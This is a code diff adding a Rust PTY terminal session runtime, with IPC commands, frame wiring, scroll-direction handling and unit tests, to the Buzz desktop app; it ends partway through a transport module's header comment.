.manage(terminal_runtime::TerminalSessions::default())
.setup(move |app| {
let app_handle = app.handle().clone();
#[cfg(target_os = "macos")]
@@ -599,6 +600,15 @@ pub fn run() {
Ok(())
})
.invoke_handler(tauri::generate_handler![
terminal_runtime::terminal_attach,
terminal_runtime::terminal_detach,
terminal_runtime::terminal_close,
terminal_runtime::terminal_input,
terminal_runtime::terminal_resize,
terminal_runtime::terminal_scroll,
terminal_runtime::terminal_ack,
terminal_runtime::terminal_viewport_ready,
terminal_runtime::terminal_focus,
take_pending_community_deep_link,
acknowledge_pending_community_deep_link,
start_builderlab_login,

View File

@@ -19,6 +19,8 @@ pub(crate) fn shut_down_app(app: &tauri::AppHandle, shutdown_done: &std::sync::a
.store(true, Ordering::SeqCst);
if !shutdown_done.swap(true, Ordering::SeqCst) {
prevent_sleep::release(&app.state::<AppState>().prevent_sleep);
app.state::<crate::terminal_runtime::TerminalSessions>()
.shutdown_all();
if let Err(error) = shutdown_managed_agents(app) {
eprintln!("buzz-desktop: failed to stop managed agents: {error}");
}
@@ -40,6 +42,8 @@ pub(crate) fn install_signal_handler(
.shutdown_started
.store(true, Ordering::SeqCst);
if !shutdown_done.swap(true, Ordering::SeqCst) {
app.state::<crate::terminal_runtime::TerminalSessions>()
.shutdown_all();
let _ = shutdown_managed_agents(&app);
#[cfg(feature = "mesh-llm")]
shutdown_mesh_runtime(&app);

View File

@@ -0,0 +1,984 @@
//! Rust-owned PTY sessions and the typed Tauri transport for Buzz Substrate.
use std::io::{Read, Write};
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};
use std::thread::JoinHandle;
use buzz_terminal::context::{context_vars, GuiContext};
use buzz_terminal::damage::{Frame, Style};
use buzz_terminal::{Fences, SharedTerminal, Size, Terminal, Viewport};
use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize};
use serde::{Deserialize, Serialize};
use tauri::ipc::Channel;
use uuid::Uuid;
use crate::terminal_transport::{FramePublisher, OfferError, Publication, SubscriptionId};
mod scroll_sign;
use scroll_sign::{scroll_by_dom_lines, DomLines};
const MAX_LIVE_SESSIONS: usize = 20;
const MAX_INPUT_BYTES: usize = 1024 * 1024;
type Result<T> = std::result::Result<T, String>;
#[derive(Debug, Deserialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct AttachRequest {
/// Present when a renderer remounts onto an existing PTY-backed tab.
session_id: Option<String>,
channel_id: String,
channel_name: String,
thread_id: Option<String>,
npub: String,
relay_url: String,
columns: u16,
rows: u16,
pixel_width: u16,
pixel_height: u16,
}
#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub(crate) struct WireViewport {
generation: u64,
columns: usize,
screen_lines: usize,
}
impl From<Viewport> for WireViewport {
fn from(value: Viewport) -> Self {
Self {
generation: value.generation,
columns: value.columns,
screen_lines: value.screen_lines,
}
}
}
impl From<WireViewport> for Viewport {
fn from(value: WireViewport) -> Self {
Self {
generation: value.generation,
columns: value.columns,
screen_lines: value.screen_lines,
}
}
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct AttachResponse {
session_id: String,
subscription_id: String,
viewport: WireViewport,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct WireStyle {
fg: u32,
bg: u32,
flags: u16,
}
impl From<Style> for WireStyle {
fn from(value: Style) -> Self {
Self {
fg: value.fg,
bg: value.bg,
flags: value.flags,
}
}
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct WireCluster {
column: usize,
text: String,
width: u8,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct WireSpan {
style: WireStyle,
clusters: Vec<WireCluster>,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct WireRow {
line: usize,
spans: Vec<WireSpan>,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct WireCursor {
line: usize,
column: usize,
visible: bool,
}
#[derive(Debug, Serialize)]
#[serde(rename_all = "camelCase")]
pub(crate) struct FrameMessage {
subscription_id: String,
sequence: u64,
rows: Vec<WireRow>,
cursor: WireCursor,
full: bool,
viewport: WireViewport,
bracketed_paste: bool,
focus_reporting: bool,
}
#[derive(Debug, Serialize)]
#[serde(tag = "type", content = "payload", rename_all = "camelCase")]
pub(crate) enum TerminalMessage {
Frame(FrameMessage),
Title(String),
ResetTitle,
Bell,
Exit,
}
fn wire_publication(publication: Publication) -> Result<FrameMessage> {
let frame = publication.frame;
let rows = frame
.rows
.into_iter()
.map(|row| {
let spans = row
.spans
.into_iter()
.map(|span| {
if !span.counts_are_consistent() {
return Err(
"terminal engine emitted an inconsistent cluster count".to_string()
);
}
let clusters = if span.cluster_count == 1 {
vec![WireCluster {
column: span.column,
text: span.text,
width: span.width,
}]
} else {
span.text
.chars()
.enumerate()
.map(|(index, ch)| WireCluster {
column: span.column + index * usize::from(span.width),
text: ch.to_string(),
width: span.width,
})
.collect()
};
Ok(WireSpan {
style: span.style.into(),
clusters,
})
})
.collect::<Result<Vec<_>>>()?;
Ok(WireRow {
line: row.line,
spans,
})
})
.collect::<Result<Vec<_>>>()?;
Ok(FrameMessage {
subscription_id: publication.subscription_id.to_string(),
sequence: publication.sequence,
rows,
cursor: WireCursor {
line: frame.cursor.line,
column: frame.cursor.column,
visible: frame.cursor.visible,
},
full: frame.full,
viewport: frame.viewport.into(),
bracketed_paste: false,
focus_reporting: false,
})
}
fn feed_and_drain(terminal: &SharedTerminal, bytes: &[u8]) -> bool {
let mut more = terminal.feed(bytes);
let deferred = more;
while more && !terminal.is_closing() {
more = terminal.drain();
}
deferred
}
struct ReaderThread {
handle: Option<JoinHandle<()>>,
terminal: Arc<SharedTerminal>,
stopping: Arc<AtomicBool>,
}
impl buzz_terminal::lifecycle::DrainingReader for ReaderThread {
fn begin_closing(&self) {
self.terminal.begin_closing();
}
fn stop(&self) {
self.stopping.store(true, Ordering::Release);
}
fn join(mut self: Box<Self>) {
if let Some(handle) = self.handle.take() {
let _ = handle.join();
}
}
}
struct Session {
id: Uuid,
terminal: Arc<SharedTerminal>,
master: Option<Box<dyn MasterPty + Send>>,
writer: Arc<Mutex<Box<dyn Write + Send>>>,
pty_size: Arc<Mutex<PtySize>>,
child: Box<dyn portable_pty::Child + Send + Sync>,
reader: Option<Box<dyn buzz_terminal::lifecycle::DrainingReader + Send>>,
publisher: Arc<Mutex<FramePublisher>>,
channel: Arc<Mutex<Option<Channel<TerminalMessage>>>>,
}
impl Session {
fn publish(&self, publication: Publication) {
let subscription = publication.subscription_id;
let sent = wire_publication(publication).and_then(|message| {
let (bracketed_paste, focus_reporting) = self.terminal.input_modes();
let mut message = message;
message.bracketed_paste = bracketed_paste;
message.focus_reporting = focus_reporting;
self.channel
.lock()
.map_err(|e| e.to_string())?
.as_ref()
.ok_or_else(|| "terminal renderer detached".to_string())?
.send(TerminalMessage::Frame(message))
.map_err(|e| e.to_string())
});
if sent.is_err() {
if let Ok(mut channel) = self.channel.lock() {
*channel = None;
}
if let Ok(mut publisher) = self.publisher.lock() {
publisher.fault(subscription);
}
}
}
fn shutdown(mut self) {
// Publication is detached before the reader enters close mode; the
// lifecycle helper then abandons parser work and keeps raw-draining
// through child termination and reap. Keep the renderer channel alive
// until the reader has reported Exit; close() removes the session from
// the runtime before shutdown begins, so this is its final message.
if let Ok(mut publisher) = self.publisher.lock() {
publisher.close();
}
if let Some(reader) = self.reader.take() {
#[cfg(unix)]
{
let _ = buzz_terminal::lifecycle::shutdown_draining(&mut self.child, reader);
}
#[cfg(not(unix))]
{
reader.begin_closing();
let _ = self.child.kill();
let _ = self.child.wait();
reader.stop();
reader.join();
}
}
if let Ok(mut channel) = self.channel.lock() {
*channel = None;
}
}
}
#[derive(Default)]
pub(crate) struct TerminalSessions(Mutex<Vec<Session>>);
impl TerminalSessions {
fn with_session<T>(&self, id: &str, f: impl FnOnce(&mut Session) -> Result<T>) -> Result<T> {
let id = Uuid::parse_str(id).map_err(|_| "invalid terminal session id".to_string())?;
let mut sessions = self.0.lock().map_err(|e| e.to_string())?;
let session = sessions
.iter_mut()
.find(|session| session.id == id)
.ok_or_else(|| "terminal session not found".to_string())?;
f(session)
}
pub(crate) fn shutdown_all(&self) {
let sessions = self
.0
.lock()
.map(|mut sessions| std::mem::take(&mut *sessions))
.unwrap_or_default();
for session in sessions {
session.shutdown();
}
}
}
fn size(columns: u16, rows: u16) -> Result<Size> {
if columns == 0 || rows == 0 {
return Err("terminal dimensions must be non-zero".to_string());
}
Ok(Size {
columns: usize::from(columns),
screen_lines: usize::from(rows),
..Size::default()
})
}
fn pty_size(columns: u16, rows: u16, pixel_width: u16, pixel_height: u16) -> PtySize {
PtySize {
rows,
cols: columns,
pixel_width,
pixel_height,
}
}
fn offer_capture(
publisher: &Mutex<FramePublisher>,
frame: Frame,
snapshot: impl FnOnce() -> Frame,
) -> Option<Publication> {
let offered = publisher.lock().ok()?.offer(frame);
match offered {
Ok(publication) => publication,
Err(OfferError::PendingFrameMustBeSnapshot) => {
publisher.lock().ok()?.offer(snapshot()).ok().flatten()
}
}
}
#[tauri::command]
pub(crate) fn terminal_attach(
request: AttachRequest,
on_frame: Channel<TerminalMessage>,
state: tauri::State<'_, TerminalSessions>,
) -> Result<AttachResponse> {
let terminal_size = size(request.columns, request.rows)?;
let mut sessions = state.0.lock().map_err(|e| e.to_string())?;
if let Some(existing_id) = request.session_id.as_deref() {
let existing_id =
Uuid::parse_str(existing_id).map_err(|_| "invalid terminal session id".to_string())?;
let session = sessions
.iter_mut()
.find(|session| session.id == existing_id)
.ok_or_else(|| "terminal session not found".to_string())?;
let subscription = SubscriptionId::new();
let mut encoder = buzz_terminal::damage::Encoder::new();
let snapshot = session.terminal.snapshot(&mut encoder);
let viewport = snapshot.viewport;
*session.channel.lock().map_err(|e| e.to_string())? = Some(on_frame);
let bootstrap = session
.publisher
.lock()
.map_err(|e| e.to_string())?
.attach(subscription, snapshot)
.map_err(|_| "terminal snapshot rejected".to_string())?;
session.publish(bootstrap);
return Ok(AttachResponse {
session_id: existing_id.to_string(),
subscription_id: subscription.to_string(),
viewport: viewport.into(),
});
}
if sessions.len() >= MAX_LIVE_SESSIONS {
return Err("too many live terminal sessions".to_string());
}
let id = Uuid::new_v4();
let pair = native_pty_system()
.openpty(pty_size(
request.columns,
request.rows,
request.pixel_width,
request.pixel_height,
))
.map_err(|e| e.to_string())?;
let shell = {
#[cfg(unix)]
{
buzz_terminal::shell::resolve_shell(std::env::var("SHELL").ok().as_deref())
}
#[cfg(windows)]
{
buzz_terminal::shell::resolve_shell(std::env::var("ComSpec").ok().as_deref())
}
};
let mut command = CommandBuilder::new_default_prog();
buzz_terminal::env_fence::fence_env(
&mut command,
&buzz_terminal::path::user_shell_path(),
&shell,
);
let context = GuiContext {
channel_id: request.channel_id,
channel_name: request.channel_name,
thread_id: request.thread_id,
npub: request.npub,
relay_url: request.relay_url,
session_id: id.to_string(),
};
for (key, value) in context_vars(&context) {
command.env(key, value);
}
let child = pair
.slave
.spawn_command(command)
.map_err(|e| e.to_string())?;
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().map_err(|e| e.to_string())?;
let writer = Arc::new(Mutex::new(
pair.master.take_writer().map_err(|e| e.to_string())?,
));
let (terminal, actions) = Terminal::new(terminal_size, Fences::default());
let terminal = Arc::new(SharedTerminal::new(terminal));
let publisher = Arc::new(Mutex::new(FramePublisher::new(terminal.lock().viewport())));
let channel = Arc::new(Mutex::new(Some(on_frame)));
let current_pty_size = Arc::new(Mutex::new(pty_size(
request.columns,
request.rows,
request.pixel_width,
request.pixel_height,
)));
// Emulator replies (DSR/size) must go back through the PTY even when no
// renderer is attached. The action thread ends when the terminal drops.
let action_writer = Arc::clone(&writer);
let action_size = Arc::clone(&current_pty_size);
let action_channel = Arc::clone(&channel);
std::thread::spawn(move || {
while let Ok(action) = actions.recv() {
let presentation = match &action {
buzz_terminal::Action::Title(title) => Some(TerminalMessage::Title(title.clone())),
buzz_terminal::Action::ResetTitle => Some(TerminalMessage::ResetTitle),
buzz_terminal::Action::Bell => Some(TerminalMessage::Bell),
_ => None,
};
if let Some(message) = presentation {
let _ = action_channel
.lock()
.ok()
.and_then(|channel| channel.as_ref()?.send(message).ok());
continue;
}
let size = action_size.lock().map(|size| *size).unwrap_or_default();
if let Some(reply) = buzz_terminal::listener::reply(
action,
size.cols,
size.rows,
size.pixel_width,
size.pixel_height,
) {
if action_writer.lock().map_or(true, |mut writer| {
writer.write_all(reply.as_bytes()).is_err()
}) {
break;
}
}
}
});
let reader_terminal = Arc::clone(&terminal);
let reader_publisher = Arc::clone(&publisher);
let reader_channel = Arc::clone(&channel);
let reader_stopping = Arc::new(AtomicBool::new(false));
let thread_stopping = Arc::clone(&reader_stopping);
let reader_handle = std::thread::spawn(move || {
let mut buffer = [0u8; 16 * 1024];
let mut encoder = buzz_terminal::damage::Encoder::new();
let mut snapshot_encoder = buzz_terminal::damage::Encoder::new();
loop {
let count = match reader.read(&mut buffer) {
Ok(0) | Err(_) => break,
Ok(count) => count,
};
if thread_stopping.load(Ordering::Acquire) {
break;
}
if reader_terminal.is_closing() {
continue;
}
let _ = feed_and_drain(&reader_terminal, &buffer[..count]);
if reader_terminal.is_closing() {
continue;
}
let needs_snapshot = reader_publisher
.lock()
.map(|publisher| publisher.requires_snapshot())
.unwrap_or(false);
let frame = if needs_snapshot {
reader_terminal.snapshot(&mut snapshot_encoder)
} else {
reader_terminal.render(&mut encoder)
};
if frame.is_empty() {
continue;
}
let publication = offer_capture(&reader_publisher, frame, || {
reader_terminal.snapshot(&mut snapshot_encoder)
});
if let Some(publication) = publication {
let subscription = publication.subscription_id;
let result = wire_publication(publication).and_then(|mut message| {
let (bracketed_paste, focus_reporting) = reader_terminal.input_modes();
message.bracketed_paste = bracketed_paste;
message.focus_reporting = focus_reporting;
reader_channel
.lock()
.map_err(|e| e.to_string())?
.as_ref()
.ok_or_else(|| "detached".to_string())?
.send(TerminalMessage::Frame(message))
.map_err(|e| e.to_string())
});
if result.is_err() {
if let Ok(mut publisher) = reader_publisher.lock() {
publisher.fault(subscription);
}
}
}
}
let _ = reader_channel
.lock()
.ok()
.and_then(|channel| channel.as_ref()?.send(TerminalMessage::Exit).ok());
});
let subscription = SubscriptionId::new();
let mut snapshot_encoder = buzz_terminal::damage::Encoder::new();
let viewport = terminal.lock().viewport();
let bootstrap = publisher
.lock()
.map_err(|e| e.to_string())?
.attach(subscription, terminal.snapshot(&mut snapshot_encoder))
.map_err(|_| "terminal snapshot rejected".to_string())?;
let session = Session {
id,
terminal: Arc::clone(&terminal),
master: Some(pair.master),
writer,
pty_size: current_pty_size,
child,
reader: Some(Box::new(ReaderThread {
handle: Some(reader_handle),
terminal: Arc::clone(&terminal),
stopping: reader_stopping,
})),
publisher,
channel,
};
session.publish(bootstrap);
sessions.push(session);
Ok(AttachResponse {
session_id: id.to_string(),
subscription_id: subscription.to_string(),
viewport: viewport.into(),
})
}
#[tauri::command]
pub(crate) fn terminal_detach(
session_id: String,
subscription_id: String,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
state.with_session(&session_id, |session| {
let id = SubscriptionId::parse(&subscription_id)?;
let detached = session
.publisher
.lock()
.map_err(|e| e.to_string())?
.fault(id);
if detached {
*session.channel.lock().map_err(|e| e.to_string())? = None;
}
Ok(())
})
}
#[tauri::command]
pub(crate) fn terminal_close(
session_id: String,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
let id = Uuid::parse_str(&session_id).map_err(|_| "invalid terminal session id".to_string())?;
let session = {
let mut sessions = state.0.lock().map_err(|e| e.to_string())?;
let index = sessions
.iter()
.position(|session| session.id == id)
.ok_or_else(|| "terminal session not found".to_string())?;
sessions.remove(index)
};
session.shutdown();
Ok(())
}
#[tauri::command]
pub(crate) fn terminal_input(
session_id: String,
data: String,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
if data.len() > MAX_INPUT_BYTES {
return Err("terminal input exceeds 1 MiB".to_string());
}
state.with_session(&session_id, |session| {
session
.writer
.lock()
.map_err(|e| e.to_string())?
.write_all(data.as_bytes())
.map_err(|e| e.to_string())?;
// Typing returns you to the live edge, as every terminal does. It has
// to be explicit: the grid pins a scrolled-back viewport and lets new
// output pile up above it, so the echo of this keystroke would land on
// a screen the user cannot see. Doing it here rather than in the
// renderer covers pasted text and encoded keys for free, and costs a
// comparison -- not a repaint -- when nothing was scrolled.
if session.terminal.scroll_to_bottom() {
publish_viewport(session)?;
}
Ok(())
})
}
#[tauri::command]
pub(crate) fn terminal_resize(
session_id: String,
columns: u16,
rows: u16,
pixel_width: u16,
pixel_height: u16,
state: tauri::State<'_, TerminalSessions>,
) -> Result<WireViewport> {
let terminal_size = size(columns, rows)?;
state.with_session(&session_id, |session| {
let new_pty_size = pty_size(columns, rows, pixel_width, pixel_height);
session
.master
.as_ref()
.ok_or_else(|| "terminal is closing".to_string())?
.resize(new_pty_size)
.map_err(|e| e.to_string())?;
*session.pty_size.lock().map_err(|e| e.to_string())? = new_pty_size;
let viewport = session.terminal.resize(terminal_size);
let publication = {
let mut publisher = session.publisher.lock().map_err(|e| e.to_string())?;
publisher.resize_applied(viewport);
let mut encoder = buzz_terminal::damage::Encoder::new();
publisher
.offer(session.terminal.snapshot(&mut encoder))
.map_err(|_| "terminal resize snapshot rejected".to_string())?
};
if let Some(publication) = publication {
session.publish(publication);
}
Ok(viewport.into())
})
}
/// Republish the viewport after the *viewport itself* moved without the grid
/// changing.
///
/// A snapshot, not a damage capture, and that is load-bearing twice over.
/// `capture_all` deliberately leaves damage alone (`damage.rs`), so the
/// full-damage flag that `scroll_display` just set survives for the reader
/// thread's next `render()` to consume -- which is what clears *its* dedup
/// hashes. Take the damage here instead and those hashes would go on
/// describing the rows the renderer had before the scroll, free to suppress a
/// row that genuinely changed underneath it.
///
/// The encoder is fresh and local because its only job is to encode one frame
/// that is `full` by construction; sharing the reader's would be sharing dedup
/// state across two coordinate systems.
fn publish_viewport(session: &Session) -> Result<()> {
let mut encoder = buzz_terminal::damage::Encoder::new();
let publication = session
.publisher
.lock()
.map_err(|e| e.to_string())?
.offer(session.terminal.snapshot(&mut encoder))
.map_err(|_| "terminal scroll snapshot rejected".to_string())?;
if let Some(publication) = publication {
session.publish(publication);
}
Ok(())
}
/// Scroll the viewport through scrollback.
///
/// `lines` is a DOM wheel delta in cells; see [`scroll_by_dom_lines`] for the
/// sign convention and why it is written against `deltaY`.
#[tauri::command]
pub(crate) fn terminal_scroll(
session_id: String,
lines: DomLines,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
state.with_session(&session_id, |session| {
// Momentum keeps delivering events for a second or so after the
// fingers lift. Once history runs out the engine clamps and reports
// that nothing moved, so the tail costs a lock and a compare rather
// than a full-grid copy and a frame each.
if !scroll_by_dom_lines(&session.terminal, lines) {
return Ok(());
}
publish_viewport(session)
})
}
#[tauri::command]
pub(crate) fn terminal_ack(
session_id: String,
subscription_id: String,
sequence: u64,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
state.with_session(&session_id, |session| {
let id = SubscriptionId::parse(&subscription_id)?;
let publication = session
.publisher
.lock()
.map_err(|e| e.to_string())?
.acknowledge(id, sequence);
if let Some(publication) = publication {
session.publish(publication);
}
Ok(())
})
}
#[tauri::command]
pub(crate) fn terminal_viewport_ready(
session_id: String,
subscription_id: String,
viewport: WireViewport,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
state.with_session(&session_id, |session| {
let id = SubscriptionId::parse(&subscription_id)?;
let publication = session
.publisher
.lock()
.map_err(|e| e.to_string())?
.viewport_ready(id, viewport.into());
if let Some(publication) = publication {
session.publish(publication);
}
Ok(())
})
}
#[tauri::command]
pub(crate) fn terminal_focus(
session_id: String,
focused: bool,
state: tauri::State<'_, TerminalSessions>,
) -> Result<()> {
state.with_session(&session_id, |session| {
let (_, enabled) = session.terminal.input_modes();
if enabled {
session
.writer
.lock()
.map_err(|e| e.to_string())?
.write_all(if focused { b"\x1b[I" } else { b"\x1b[O" })
.map_err(|e| e.to_string())?;
}
Ok(())
})
}
#[cfg(test)]
mod tests {
use super::*;
use buzz_terminal::damage::{CursorFrame, RowFrame, Span};
fn publication(spans: Vec<Span>) -> Publication {
Publication {
subscription_id: SubscriptionId::new(),
sequence: 7,
frame: buzz_terminal::damage::Frame {
rows: vec![RowFrame { line: 3, spans }],
cursor: CursorFrame {
line: 1,
column: 2,
visible: true,
},
cursor_changed: true,
full: true,
viewport: Viewport {
generation: 4,
columns: 80,
screen_lines: 24,
},
},
}
}
fn style() -> Style {
Style {
fg: 1,
bg: 2,
flags: 3,
}
}
fn marker_frame(marker: usize, full: bool) -> Frame {
Frame {
rows: vec![RowFrame {
line: marker,
spans: Vec::new(),
}],
cursor: CursorFrame {
line: 0,
column: 0,
visible: true,
},
cursor_changed: true,
full,
viewport: Viewport {
generation: 0,
columns: 80,
screen_lines: 24,
},
}
}
fn assert_post_snapshot_capture_survives_attach(mut publisher: FramePublisher) {
assert!(!publisher.requires_snapshot());
let bootstrap = marker_frame(1, true);
let post_snapshot_incremental = marker_frame(42, false);
let subscription = SubscriptionId::new();
publisher.attach(subscription, bootstrap).unwrap();
let publisher = Mutex::new(publisher);
assert_eq!(
offer_capture(&publisher, post_snapshot_incremental, || marker_frame(
42, true
)),
None
);
let successor = publisher
.lock()
.unwrap()
.acknowledge(subscription, 1)
.expect("post-snapshot PTY output was lost");
assert_eq!(successor.frame.rows[0].line, 42);
assert!(successor.frame.full);
}
#[test]
fn reader_pumps_a_deferred_tail_without_an_external_event() {
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
let terminal = SharedTerminal::new(terminal);
let payload = "\u{1b}c".repeat(2_102_714);
assert!(
feed_and_drain(&terminal, payload.as_bytes()),
"fixture must defer parser work before the runtime pumps it"
);
let terminal = terminal.lock();
assert_eq!(terminal.pending_bytes(), 0);
assert_eq!(terminal.stats().completed_units, 2_102_714);
}
#[test]
fn initial_attach_retains_output_captured_after_its_bootstrap_snapshot() {
let viewport = marker_frame(0, true).viewport;
let publisher = FramePublisher::new(viewport);
assert_post_snapshot_capture_survives_attach(publisher);
}
#[test]
fn reattach_retains_output_captured_after_its_bootstrap_snapshot() {
let viewport = marker_frame(0, true).viewport;
let mut publisher = FramePublisher::new(viewport);
let old = SubscriptionId::new();
publisher.attach(old, marker_frame(0, true)).unwrap();
assert!(publisher.acknowledge(old, 1).is_none());
assert_post_snapshot_capture_survives_attach(publisher);
}
#[test]
fn mapper_expands_ascii_runs_without_unicode_classification() {
let message = wire_publication(publication(vec![Span {
column: 4,
text: "abc".into(),
width: 1,
cluster_count: 3,
style: style(),
}]))
.unwrap();
let clusters = &message.rows[0].spans[0].clusters;
assert_eq!(
clusters
.iter()
.map(|cluster| (cluster.column, cluster.text.as_str()))
.collect::<Vec<_>>(),
vec![(4, "a"), (5, "b"), (6, "c")]
);
}
#[test]
fn mapper_keeps_a_multi_char_cluster_atomic() {
let message = wire_publication(publication(vec![Span {
column: 9,
text: "1\u{fe0f}\u{20e3}".into(),
width: 2,
cluster_count: 1,
style: style(),
}]))
.unwrap();
let clusters = &message.rows[0].spans[0].clusters;
assert_eq!(clusters.len(), 1);
assert_eq!(clusters[0].column, 9);
assert_eq!(clusters[0].text, "1\u{fe0f}\u{20e3}");
assert_eq!(clusters[0].width, 2);
}
#[test]
fn mapper_rejects_an_inconsistent_engine_span() {
let result = wire_publication(publication(vec![Span {
column: 0,
text: "ab".into(),
width: 1,
cluster_count: 3,
style: style(),
}]));
assert!(result.is_err());
}
#[test]
fn dimensions_reject_zero_and_preserve_scrollback_default() {
assert!(size(0, 24).is_err());
assert!(size(80, 0).is_err());
let size = size(100, 40).unwrap();
assert_eq!(
(size.columns, size.screen_lines, size.scrollback),
(100, 40, 10_000)
);
}
}

View File

@@ -0,0 +1,179 @@
//! The one place the DOM's wheel sign meets the engine's scroll sign.
//!
//! Its own module because the crossing is the whole subject: the conversion is
//! two characters of code and roughly a hundred lines of tests and reasoning
//! about which way is back, and inlining that into the command file buries it
//! among unrelated session plumbing.
use buzz_terminal::SharedTerminal;
use serde::Deserialize;
/// A wheel delta in whole cells, carrying the **DOM's** sign.
///
/// A newtype rather than a bare `i32` so the engine's opposite convention
/// cannot be reached by accident: `SharedTerminal::scroll` takes an `i32`, so
/// handing it this value straight from the wire is a type error rather than a
/// silently reversed terminal. Deleting the conversion is caught by the tests
/// below; *bypassing* it is caught by the compiler.
///
/// Serde already reads a one-field tuple struct as its inner value, so no
/// `transparent` attribute is needed -- verified by the wire test below, which
/// deserializes from a bare number.
#[derive(Debug, Clone, Copy, Deserialize)]
pub(crate) struct DomLines(i32);
/// Scroll `terminal` by a DOM wheel delta in cells.
///
/// This is the only place the two sign conventions meet, so it is a named
/// function rather than a `-` in an argument list: inlined, the conversion is
/// executed by every scroll test and asserted by none of them, and deleting it
/// leaves both the Rust and the frontend suites green while reversing the
/// terminal on a real trackpad. It takes the terminal rather than returning a
/// number so the tests below drive the same call `terminal_scroll` makes,
/// instead of a conversion that agrees with itself.
///
/// The DOM sign is the spec because the OS-reported delta is the only stable
/// thing here. macOS "natural scrolling" flips what a given finger motion
/// reports, so a rule stated as "swipe up goes back" is correct for one
/// preference setting and backwards for the other. Stated against `deltaY` it
/// is correct for both, and matches whatever the page around the terminal
/// does: **negative DOM lines -- the direction that scrolls a web page toward
/// the top of the document -- go back into history**, which is positive in the
/// engine's `Scroll::Delta` convention.
///
/// `saturating_neg` because this arrives over IPC: plain unary negation on
/// `i32::MIN` panics in debug and wraps to `i32::MIN` in release, so a crafted
/// command could scroll the wrong way. Saturating leaves it going back, which
/// the engine then clamps at the oldest line.
///
/// Returns whether the viewport actually moved.
pub(super) fn scroll_by_dom_lines(terminal: &SharedTerminal, dom_lines: DomLines) -> bool {
terminal.scroll(dom_lines.0.saturating_neg())
}
#[cfg(test)]
mod tests {
use super::*;
/// A terminal with four lines of history and a two-row viewport, used by
/// the sign tests below.
fn scrollable() -> SharedTerminal {
let size = buzz_terminal::Size {
columns: 8,
screen_lines: 2,
scrollback: 16,
};
let (term, actions) =
buzz_terminal::Terminal::new(size, buzz_terminal::fences::Fences::ALL);
// Leaked deliberately: dropping the receiver disconnects the channel
// and every later listener send fails silently.
std::mem::forget(actions);
let shared = SharedTerminal::new(term);
shared.feed_fully(b"L1\r\nL2\r\nL3\r\nL4");
shared
}
fn screen(terminal: &SharedTerminal) -> Vec<String> {
let mut encoder = buzz_terminal::damage::Encoder::new();
terminal
.snapshot(&mut encoder)
.rows
.iter()
.map(|row| {
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string()
})
.collect()
}
/// The newtype is on the wire, so it has to deserialize from the bare
/// number the frontend sends. The frontend test mocks `invoke` and cannot
/// see this; if the wrapper did not read transparently, every scroll would
/// fail to deserialize and the terminal would silently stop scrolling.
#[test]
fn a_wheel_delta_deserializes_from_the_bare_number_the_frontend_sends() {
#[derive(Deserialize)]
struct Args {
lines: DomLines,
}
let args: Args = serde_json::from_str(r#"{"lines":-2}"#).unwrap();
assert_eq!(args.lines.0, -2);
let terminal = scrollable();
assert!(scroll_by_dom_lines(&terminal, args.lines));
assert_eq!(
screen(&terminal),
vec!["L1", "L2"],
"the value off the wire must scroll back, not forwards"
);
}
/// **The DOM->engine crossing, asserted rather than executed in passing.**
///
/// The direction under test: *negative DOM lines go back into history.*
/// Negative is what a wheel reports for the gesture that scrolls a web
/// page toward the top of the document, and the engine's `Scroll::Delta`
/// takes positive for backwards, so the boundary negates.
///
/// This asserts on the text that lands on screen rather than on the
/// converted number. A test of the arithmetic alone passes just as well
/// against an engine that reads the sign the other way -- two one-sided
/// tests are not a test of the crossing.
#[test]
fn a_negative_dom_delta_scrolls_backwards_into_history() {
let terminal = scrollable();
assert_eq!(
screen(&terminal),
vec!["L3", "L4"],
"starts at the live edge"
);
assert!(scroll_by_dom_lines(&terminal, DomLines(-2)));
assert_eq!(
screen(&terminal),
vec!["L1", "L2"],
"a page-upwards gesture must reach older lines, not newer ones"
);
assert!(scroll_by_dom_lines(&terminal, DomLines(2)));
assert_eq!(
screen(&terminal),
vec!["L3", "L4"],
"and a page-downwards gesture returns to the live edge"
);
}
/// The momentum tail: once history runs out the engine clamps, and the
/// boundary must report that nothing moved so the command skips the
/// republish rather than shipping an identical frame per event.
#[test]
fn a_dom_delta_past_the_oldest_line_reports_no_movement() {
let terminal = scrollable();
assert!(scroll_by_dom_lines(&terminal, DomLines(-2)));
assert!(
!scroll_by_dom_lines(&terminal, DomLines(-1_000)),
"there is nothing older, so nothing moved"
);
assert_eq!(screen(&terminal), vec!["L1", "L2"]);
}
/// `lines` arrives over IPC, so it can be any `i32`. Plain unary negation
/// panics on `i32::MIN` in debug and wraps back to `i32::MIN` in release --
/// the release case being the dangerous one, since it silently reverses
/// the direction. Saturating keeps the direction the caller asked for and
/// lets the engine clamp.
#[test]
fn the_most_negative_dom_delta_saturates_backwards_instead_of_wrapping_forwards() {
let terminal = scrollable();
assert!(scroll_by_dom_lines(&terminal, DomLines(i32::MIN)));
assert_eq!(
screen(&terminal),
vec!["L1", "L2"],
"a hostile delta must clamp at the oldest line, not flip direction"
);
}
}

View File

@@ -0,0 +1,381 @@
//! Credit and viewport ordering for one renderer subscription.
//!
//! Tauri channels are ordered, but they do not expose consumer credit and
//! channel delivery is unordered with respect to invoke responses. This state
//! machine therefore permits one frame on the wire, retains at most one newer
//! complete snapshot, and independently gates a resized viewport until the
